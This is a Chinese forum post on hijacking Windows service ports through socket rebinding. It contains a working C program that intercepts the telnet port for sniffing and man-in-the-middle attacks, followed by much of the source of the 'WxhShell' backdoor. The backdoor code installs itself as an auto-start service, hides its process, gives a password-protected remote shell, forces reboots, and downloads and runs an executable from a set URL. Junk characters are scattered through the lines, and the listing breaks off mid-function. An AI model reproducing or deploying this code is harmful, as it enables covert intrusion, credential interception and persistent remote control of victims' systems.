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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )H- y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?TY/'-M5  
aX|LEZ;D>  
  saddr.sin_family = AF_INET; o/mGd~  
YB"=eld  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \Qei}5P,  
5DnX8t+d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); poVtg}n  
ljJR7<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 JId|LHf*P  
UGK,+FN  
  这意味着什么?意味着可以进行如下的攻击: ' +E\-X  
4'`y5E  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QZamf lk  
.?*TU~S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s?_H<u  
Z,5B(Xj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,nz3S5~  
&T\,kq >)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0'~Iv\s  
w4j,t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 NLF6O9  
 g\=e86  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PR~9*#"v..  
{}N=pL8MS  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n_@cjO  
_A,mY6 *  
  #include {qL}:ha?  
  #include i=X B0-  
  #include ::2(pgH  
  #include    s!WI:E7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |!"qz$8fB  
  int main() <F-W fR  
  { #w&N) c>  
  WORD wVersionRequested; w~}.c:B  
  DWORD ret; CC.ri3+.  
  WSADATA wsaData; OmAa$L,'w  
  BOOL val; AIw<5lW  
  SOCKADDR_IN saddr; >^ zbDU1wT  
  SOCKADDR_IN scaddr; %mMPALN]{  
  int err; w}r~Wk^dLI  
  SOCKET s; K#4Toc#=V  
  SOCKET sc; I hPX/P  
  int caddsize; 0:q R,NW^#  
  HANDLE mt; xoyH5ZK@  
  DWORD tid;   Wd]MwDcO  
  wVersionRequested = MAKEWORD( 2, 2 ); *1CZRfWI  
  err = WSAStartup( wVersionRequested, &wsaData ); q1vsvL9Q  
  if ( err != 0 ) { JFh_3r'  
  printf("error!WSAStartup failed!\n"); KIYs[0*k  
  return -1; #Iwxt3K  
  } <-F[q'!C1  
  saddr.sin_family = AF_INET; ^>m"j6`h,  
   a474[?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,'>O#kD  
eGQ -Ht,N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HAc1w]{(  
  saddr.sin_port = htons(23); Bd>a"3fA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,BE4z2a  
  { %rq/&#jC  
  printf("error!socket failed!\n"); =Bw2{]w  
  return -1; d{*e0  
  } T7~Vk2o%(  
  val = TRUE; DBk]2W|i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 POt 8G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vbSycZ2M7  
  { C7xmk;c w  
  printf("error!setsockopt failed!\n"); ! ,&{1p  
  return -1; B8.uzX'p  
  } 6uKS!\EY|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;cp,d~mrf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \TnRn(Kw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R;`C;Rbf  
wi@Qf6(mn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h #(J6ht  
  { l-<EG9m@  
  ret=GetLastError(); C5x*t Q|  
  printf("error!bind failed!\n");  7 j8Ou3  
  return -1; aYws{Vii  
  } @t4OpU<'*b  
  listen(s,2); sX,S]:X  
  while(1) %2^wyVkq:  
  { c[X:vDUX  
  caddsize = sizeof(scaddr); vx}W.6C}  
  //接受连接请求 `e^sQ>rDI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $ uqB.f$  
  if(sc!=INVALID_SOCKET) 'o%6TWl9s  
  { !?5YXI,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M}x]\#MMY  
  if(mt==NULL) oxXCf%!  
  { R(on[g_1  
  printf("Thread Creat Failed!\n"); #8@o%%F d  
  break; 2+cpNk$  
  } @23~)uiZa  
  } R/Z zmb{  
  CloseHandle(mt); ?z0N- A2C2  
  } 8ib%CYR  
  closesocket(s); ?3a:ntX h  
  WSACleanup(); F P>.@ Y  
  return 0; xASH- 9  
  }   hD9b2KZv  
  DWORD WINAPI ClientThread(LPVOID lpParam) SaSj9\o  
  { 'ZAl7k .  
  SOCKET ss = (SOCKET)lpParam; ,v_NrX=f?  
  SOCKET sc; -T{G8@V0I  
  unsigned char buf[4096]; "WZ|   
  SOCKADDR_IN saddr; ][`%vj9r  
  long num; E_T!|Q.  
  DWORD val; RJOW#e :  
  DWORD ret; p,7, tx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uS7kkzt-x  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _(F8}s  
  saddr.sin_family = AF_INET; Sjo7NR^#e  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5&TH\2u  
  saddr.sin_port = htons(23); {fa3"k_ke  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LsO}a;t5  
  { qB5.of[N!  
  printf("error!socket failed!\n"); QJ2D C  
  return -1; .X34[AXd  
  } ;"|QW?>$D  
  val = 100; -rlCE-S  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DTvCx6:!  
  { p((a(Q/  
  ret = GetLastError(); -_ <z_IL\%  
  return -1; y3OF+;E  
  } Mh~E ]8b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) odWK\e  
  { P7\?WN$p  
  ret = GetLastError(); Z7p!YTA  
  return -1; 8\Bb7*  
  } K/M2L&C  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q![`3m-d.  
  { ' r/xBj[Z  
  printf("error!socket connect failed!\n"); IPf>9#L  
  closesocket(sc); v n4z C  
  closesocket(ss); V6Y0#sTU  
  return -1; uR6 `@F  
  } lRR A2Kql  
  while(1) "{[\VsX|c  
  { gUY~ l= c  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u6SQq-)d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^.PCQ~Ql  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _{/[&vJ  
  num = recv(ss,buf,4096,0); G_<4% HM  
  if(num>0) 1$H<Kjsm  
  send(sc,buf,num,0); ]94`7@  
  else if(num==0) `IT]ZAem`/  
  break; v UhgM'  
  num = recv(sc,buf,4096,0); GglGFXOL-  
  if(num>0) oI-,6G}  
  send(ss,buf,num,0); **JBZ\'  
  else if(num==0) 2P ^x'I  
  break; iFnD`l 6)  
  } BhhFij4  
  closesocket(ss); &%m%b5  
  closesocket(sc); es<8"CcP  
  return 0 ; K/K|[=bl  
  } @Gt.J*!s/  
:0Z\-7iK  
ih-J{1  
========================================================== jl5&T{z  
fZrh_^yH  
下边附上一个代码,,WXhSHELL LGK@taw^  
Kc, i$FH  
========================================================== L~AU4Q0o  
"SRS{-p0  
#include "stdafx.h" a |#TnSk  
9{ #5~WP  
#include <stdio.h> |}b~YHTs  
#include <string.h> 7}vI/?r  
#include <windows.h> -iL:D<!Cb_  
#include <winsock2.h> <~P!yLr  
#include <winsvc.h> %OOkPda  
#include <urlmon.h> OY8P  
3g3f87[  
#pragma comment (lib, "Ws2_32.lib") W/g_XQ   
#pragma comment (lib, "urlmon.lib") M.+h3<%^  
dz!m8D0  
#define MAX_USER   100 // 最大客户端连接数 zl( o/n  
#define BUF_SOCK   200 // sock buffer 5XV|*O;  
#define KEY_BUFF   255 // 输入 buffer -Nn< pq  
eph2&)D}Ep  
#define REBOOT     0   // 重启 G"w [>m  
#define SHUTDOWN   1   // 关机 [:uHe#L  
"c\WZB`|  
#define DEF_PORT   5000 // 监听端口 hfw+n<  
QiK-|hFj  
#define REG_LEN     16   // 注册表键长度 F?[1 m2  
#define SVC_LEN     80   // NT服务名长度 !o1IpTN  
83 <CDjD  
// 从dll定义API HQ]mDo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )Xa_ry7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 05g %5vHF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ] E:NmBN<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @dx 8{oQ  
U$Z<lx2P  
// wxhshell配置信息 ;wkMa;%`g|  
struct WSCFG { k7j.VpN9  
  int ws_port;         // 监听端口 *jvP4Nz)k  
  char ws_passstr[REG_LEN]; // 口令 | 1zfXG,R  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]6M,s0  
  char ws_regname[REG_LEN]; // 注册表键名 @yo6w}3+-  
  char ws_svcname[REG_LEN]; // 服务名 @<`V q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Lq;T\m_de  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iD*Hh-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fp*6Dv_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T<"Bb[kH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n}t 9Nf_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F]D{[dBf  
*@p"  
}; s1h|/7gG  
RMiDV^.u`  
// default Wxhshell configuration 1wFW&|>1  
struct WSCFG wscfg={DEF_PORT, *CPpU|  
    "xuhuanlingzhe", mPHto-=fB  
    1, {Wi*B(  
    "Wxhshell", 7'"qW"<  
    "Wxhshell", /QWXEL/M=  
            "WxhShell Service", Y[]I!Bc  
    "Wrsky Windows CmdShell Service", :)i,K>y3i  
    "Please Input Your Password: ", _GFh+eS}  
  1, 1Iy1xiP  
  "http://www.wrsky.com/wxhshell.exe", mt$rjk=  
  "Wxhshell.exe" '%wSs,HD  
    }; m#8(l{3|  
 %S%IW  
// 消息定义模块 Hi$R"O (  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @6|<c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; uAqiL>y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2Z%n "z68  
char *msg_ws_ext="\n\rExit."; -gm5E qi  
char *msg_ws_end="\n\rQuit."; -fXQ62:S  
char *msg_ws_boot="\n\rReboot..."; xT]t3'y|-  
char *msg_ws_poff="\n\rShutdown..."; lg8@^Pm$r;  
char *msg_ws_down="\n\rSave to "; /]^Y\U^  
_cE_\Ay  
char *msg_ws_err="\n\rErr!"; KE ?NQMU  
char *msg_ws_ok="\n\rOK!"; pS |K[:5  
9TQVgkW  
char ExeFile[MAX_PATH]; |9=A"092{  
int nUser = 0; &+&@;2  
HANDLE handles[MAX_USER]; LRts W(A/  
int OsIsNt; !^&VZh  
#>("(euXMF  
SERVICE_STATUS       serviceStatus; f}"eN/T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3>^]r jFw  
Y!_{:2H8p  
// 函数声明 PPH;'!>s"  
int Install(void); ch :rAx  
int Uninstall(void); &3Yj2 Fw  
int DownloadFile(char *sURL, SOCKET wsh); u*): D~A  
int Boot(int flag); }6!/Nb  
void HideProc(void); kl]MP}wc  
int GetOsVer(void); h x&"fe  
int Wxhshell(SOCKET wsl); )v_v 7 ~H&  
void TalkWithClient(void *cs); ,}&TZkN{-  
int CmdShell(SOCKET sock); v@tEHRadz  
int StartFromService(void); YI ?P@y  
int StartWxhshell(LPSTR lpCmdLine); :;.^r,QAI  
Rx&O}>"E>l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E r%&y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y(bB7tR  
r'j88)^  
// 数据结构和表定义 2H}y1bkW  
SERVICE_TABLE_ENTRY DispatchTable[] = \fUX_0k9,  
{ z4Zm%  
{wscfg.ws_svcname, NTServiceMain}, n0T|U  
{NULL, NULL} S4`X^a}pY  
}; ` PQQU~^  
8T9 s:/%  
// 自我安装 .Y{x!Q"  
int Install(void) @, GL&$Y:W  
{ \Q(a`6U  
  char svExeFile[MAX_PATH]; Lv]%P.=[G  
  HKEY key; lYCvYe  
  strcpy(svExeFile,ExeFile); 7)V"E-6h  
!5(DU~S*@S  
// 如果是win9x系统,修改注册表设为自启动 4pf@.ra,  
if(!OsIsNt) { ,AweHUEn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e}1Q+h\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w(&EZDe  
  RegCloseKey(key); \.}T_,I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XQ9W y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V%s7*`U  
  RegCloseKey(key); >fzyD(>  
  return 0; j!>P7 8  
    } OyVP_Yx,V  
  } Q;8z&4s@  
} MGsQF#6]  
else { Qgj# k  
OU/}cu  
// 如果是NT以上系统,安装为系统服务 U,#x\[3!Jt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lQ`=PFh  
if (schSCManager!=0) :>{!%-1Z  
{ pQBn8H|Y  
  SC_HANDLE schService = CreateService #| _VN %!  
  ( n}.e(z_"  
  schSCManager, Hs'~) T  
  wscfg.ws_svcname, gAWi&  
  wscfg.ws_svcdisp, XJ\R'?j  
  SERVICE_ALL_ACCESS, 3?a`@C&x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HTT&T9]  
  SERVICE_AUTO_START, dhob]8b  
  SERVICE_ERROR_NORMAL,  x)Bbo9J  
  svExeFile, ;&O?4?@4  
  NULL, v,ZYh w  
  NULL, wpM2{NTP  
  NULL, wK-VA$;:  
  NULL, } 7 o!  
  NULL 4F|79U #  
  ); xj;:B( i  
  if (schService!=0) K<*6E@+i  
  { aE5-b ub c  
  CloseServiceHandle(schService); F1stRZ1ZI  
  CloseServiceHandle(schSCManager); "ktuq\a@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I{cH$jt<  
  strcat(svExeFile,wscfg.ws_svcname); K 77iv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i`2SebDj'w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c%/b*nQ(=  
  RegCloseKey(key); \L(cFjLIl  
  return 0; |qn 2b=  
    } W:]2T p  
  } ]5"k%v|  
  CloseServiceHandle(schSCManager); t<Yi!6  
} "jum*<QZz  
} PiKP.  
x^[,0?y2  
return 1; 6]b"n'G  
} Gy/w #4xj  
uKP4ur@1  
// 自我卸载 FSA%,b; U  
int Uninstall(void) y<Q"]H.CkQ  
{ uVn"L:_  
  HKEY key; ce\d35x!  
RH;ulAD6(~  
if(!OsIsNt) { \s&Mz;:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nUP, Yd  
  RegDeleteValue(key,wscfg.ws_regname); d=xjLbsZ  
  RegCloseKey(key); _J!^iJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a{T.U-0   
  RegDeleteValue(key,wscfg.ws_regname); &|Duc} t  
  RegCloseKey(key); ?"9h-g3`x}  
  return 0; Lmte ~oBi  
  } *yRsFC{,  
} 88osWo6rG  
} -{cmi,oy  
else { _eiqs  
i7.8H*z'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V+"%BrM  
if (schSCManager!=0) `xBoNQai  
{ p3U)J&]c6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %, psUOY  
  if (schService!=0) VhkM{O  
  { t<##0#xS.  
  if(DeleteService(schService)!=0) { FYYc+6n  
  CloseServiceHandle(schService); y{hg4|\  
  CloseServiceHandle(schSCManager); }:IIk-JoC  
  return 0; fwz:k]vk  
  } G{} 2"/   
  CloseServiceHandle(schService); zkRAul32|  
  } Z&n[6aV'F  
  CloseServiceHandle(schSCManager); (&e!u{I  
} ki'$P.v{$w  
} Xk4wU$1F  
l)[|wPf  
return 1; tS2 &S 6u  
} (kLaXayn  
@-)?uYw:r  
// 从指定url下载文件 ^y/Es2A#t  
int DownloadFile(char *sURL, SOCKET wsh) * hs&^G  
{ DU%E883  
  HRESULT hr; 5I2,za&e  
char seps[]= "/"; src9EeiV  
char *token; oFU:]+.+D  
char *file; WVa%<  
char myURL[MAX_PATH]; Zt!#KSF7%  
char myFILE[MAX_PATH]; YbP @  
Rs<q^w]  
strcpy(myURL,sURL); Qfn:5B]tI  
  token=strtok(myURL,seps); #<*.{"T  
  while(token!=NULL) s?EQ  
  { C(XV YND3  
    file=token; t<Acq07  
  token=strtok(NULL,seps); e3 v^j$  
  } 72s qt5C]  
2o?j{K  
GetCurrentDirectory(MAX_PATH,myFILE); U80=f2  
strcat(myFILE, "\\"); 2&4nf/sE  
strcat(myFILE, file); 1VgGF^cYR  
  send(wsh,myFILE,strlen(myFILE),0); W Ej{2+  
send(wsh,"...",3,0); xQFY/Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {1SsH ir>  
  if(hr==S_OK) S.!,qv z  
return 0; H d|p@$I  
else a yoC]rE  
return 1; 7 XxZF43  
E5^\]`9P  
} >N|?>M*  
D m0)%#  
// 系统电源模块 e(8hSVcl4  
int Boot(int flag) A'jvm@DvQI  
{ `"=>lu2H   
  HANDLE hToken; I<D#   
  TOKEN_PRIVILEGES tkp; ;A,X,f  
T>B'T3or  
  if(OsIsNt) { dkw.o.e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aoey 5hts  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Gm B&TD m  
    tkp.PrivilegeCount = 1; ,&UKsrs_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a dqS.xs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,->K)Rs;  
if(flag==REBOOT) { So&gDR;b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /"Vd( K2Z  
  return 0; XjN4EDi+E  
} KmNnW1T  
else { |HmY`w6*z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  V;%ug'j  
  return 0; _;k<=ns(=  
} ,H{9`a#+:  
  } c7XBZ%D  
  else { &+#5gii1i  
if(flag==REBOOT) { Yg8* )u0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -P;0<j@6k5  
  return 0; , MXU]{  
} T<B}Z11R  
else { o.ZR5`.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !_ W/p`Tc  
  return 0; s/7Z.\  
} *tUOTA 3L  
} 3>h2 W  
M^Sa{S*?  
return 1; q-`&C  
} SZKYq8ZA)V  
~, }|~  
// win9x进程隐藏模块 lbAhP+B  
void HideProc(void) Fx:38Ae  
{ %V>%AP  
lI?P_2AaS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k' st^1T  
  if ( hKernel != NULL ) relt7sK  
  { q!c=f!U?\l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zGtJ@HbB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _Tj&gyS  
    FreeLibrary(hKernel); O>h`  
  } I0+6p8,  
%M iv8  
return; ,-Hj  
} "Pwa}{  
WML--<dU  
// 获取操作系统版本 C-y MWr  
int GetOsVer(void) ~q3O,bb{   
{ D6L+mTN  
  OSVERSIONINFO winfo; aZb\uMePK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;eYG\uKC{  
  GetVersionEx(&winfo); iN&oSpQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vaB ql(?'2  
  return 1; 4 . 7X*1  
  else / dJz?0  
  return 0; hVF^ "$  
} :IZAdlz[@  
yh E%X  
// 客户端句柄模块  |,$&jSe  
int Wxhshell(SOCKET wsl) PuJ3#H T  
{ %+l95Dv1  
  SOCKET wsh;  )kWxp  
  struct sockaddr_in client; ~z:]rgX  
  DWORD myID; +0&^.N  
T]%-Ri  
  while(nUser<MAX_USER) Y!L-5|G  
{ \E?3nQM  
  int nSize=sizeof(client); nB`|VYmOP1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %&6Q Uv^  
  if(wsh==INVALID_SOCKET) return 1; D|ceZ <9x  
Eiu/p&ct  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2K9X (th1  
if(handles[nUser]==0) !'N@ZZ  
  closesocket(wsh); m54>}  
else %>&ex0j]  
  nUser++; +mWf$+w  
  } @S@VsgQ%3Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M 2hZ'  
un 5r9  
  return 0; iE''>Z  
} T_S3_-|{==  
v*!N}1+J  
// 关闭 socket K) }1;  
void CloseIt(SOCKET wsh) WAxNQfEe  
{ (vG*)a  
closesocket(wsh); 46g0 e  
nUser--; 'JOCL0FP  
ExitThread(0); gO8d2?Oh  
} BzfR8mD  
BaQyn 6B  
// 客户端请求句柄 E4% -*n  
void TalkWithClient(void *cs) 5f7id7SI  
{ ^t})T*hM0  
4H6Fq*W{k  
  SOCKET wsh=(SOCKET)cs; M[`[+5v  
  char pwd[SVC_LEN]; A&M_ J  
  char cmd[KEY_BUFF]; _3aE]\O[  
char chr[1]; Ca0s m  
int i,j; `$/a-K}  
2jyWkAP'  
  while (nUser < MAX_USER) { f 0H.$UAL  
d}Pfj=W  
if(wscfg.ws_passstr) { ><}nZ7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7Vy_Cec1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u1 Q;M`+>  
  //ZeroMemory(pwd,KEY_BUFF); +ALrHFG  
      i=0; nz3*s#k\-  
  while(i<SVC_LEN) { ~s+vJvWz  
)7& -DI1  
  // 设置超时 &#e;`(*  
  fd_set FdRead; zu1"`K3b  
  struct timeval TimeOut; '6M6e(  
  FD_ZERO(&FdRead); 486\a  
  FD_SET(wsh,&FdRead); X\m\yv}}  
  TimeOut.tv_sec=8; /F;2wT;  
  TimeOut.tv_usec=0; &ww-t..  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); , Wd=!if  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @MOQk  
*F1TZ_GS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \}Am]Y/ w  
  pwd=chr[0]; OWibmX  
  if(chr[0]==0xd || chr[0]==0xa) { ms0V1`  
  pwd=0; _]zX W  
  break; tM]Gu?6  
  } 0;l~B  
  i++; h}a}HabA  
    } m FTuqujO  
RFRXOyGz$  
  // 如果是非法用户,关闭 socket ?xqS#^Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !+eU  
} !K(  
Da 7(jA+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $Y7VA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :%h1Q>F  
9jjeZc'  
while(1) { w(V%EEk  
$_F_%m"\  
  ZeroMemory(cmd,KEY_BUFF); j;`pAN('  
rci,&>L"  
      // 自动支持客户端 telnet标准   av!;k2"  
  j=0; C4(xtSJSd!  
  while(j<KEY_BUFF) { q\<l"b z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %nkP" Z#  
  cmd[j]=chr[0]; ;D~#|CB  
  if(chr[0]==0xa || chr[0]==0xd) { NWn*_@7;  
  cmd[j]=0; QQW}.>N  
  break; :6(\:  
  } )G)6D"5,+G  
  j++; RyK~"CWT  
    } .6`r`|=  
/p<9C?  
  // 下载文件 `o#(YEu  
  if(strstr(cmd,"http://")) { inU5eronuj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x\Q}fk?{t  
  if(DownloadFile(cmd,wsh)) =p4n @C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]t)N3n6Bc  
  else 9>4#I3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lC#wh2B6  
  } Q!q6R^5!K  
  else { d'W2I*Zc<  
F9eEQ{L  
    switch(cmd[0]) { 4"@;.C""  
  $=.%IJ_MAz  
  // 帮助 T{ @@V  
  case '?': { / ]8e[t>!f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9;LjM ~Ct  
    break; -7&ywgxl  
  } ]6M<c[H>  
  // 安装  b+a+OI D  
  case 'i': { k{mBG9[z  
    if(Install()) 3*I\#Z4p1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^gcB+  
    else bdWdvd:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xF{%@t  
    break; _h<rVcl!wX  
    } KNmU2-%l  
  // 卸载 T^;b98*  
  case 'r': { N*36rR$^  
    if(Uninstall()) _]5UuIMl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PR"x&JG@  
    else fof}I:vO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y#c439&  
    break; MtL<)?HQ  
    } kS_#8 I  
  // 显示 wxhshell 所在路径 8$~oiK%fw  
  case 'p': { @ovaOX  
    char svExeFile[MAX_PATH];  7V5c`:"  
    strcpy(svExeFile,"\n\r"); ]AA|BeL?|  
      strcat(svExeFile,ExeFile); d2eXN3"  
        send(wsh,svExeFile,strlen(svExeFile),0); XB!qPh .  
    break; C"kfxpCi  
    } 6qDt 6uB  
  // 重启 %!t9)pNc  
  case 'b': { r5xm7- `c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X`_tm3HC  
    if(Boot(REBOOT)) 5[)5K?%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8|@) #:  
    else { jv.tg,c_6  
    closesocket(wsh); vk E]$4P[$  
    ExitThread(0); i&H^xgm  
    } j-BNHX  
    break; JL G!;sov  
    } ifS#9N|8  
  // 关机 %JDQ[%3qY  
  case 'd': { L|WrdT D;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GcN}I=4|  
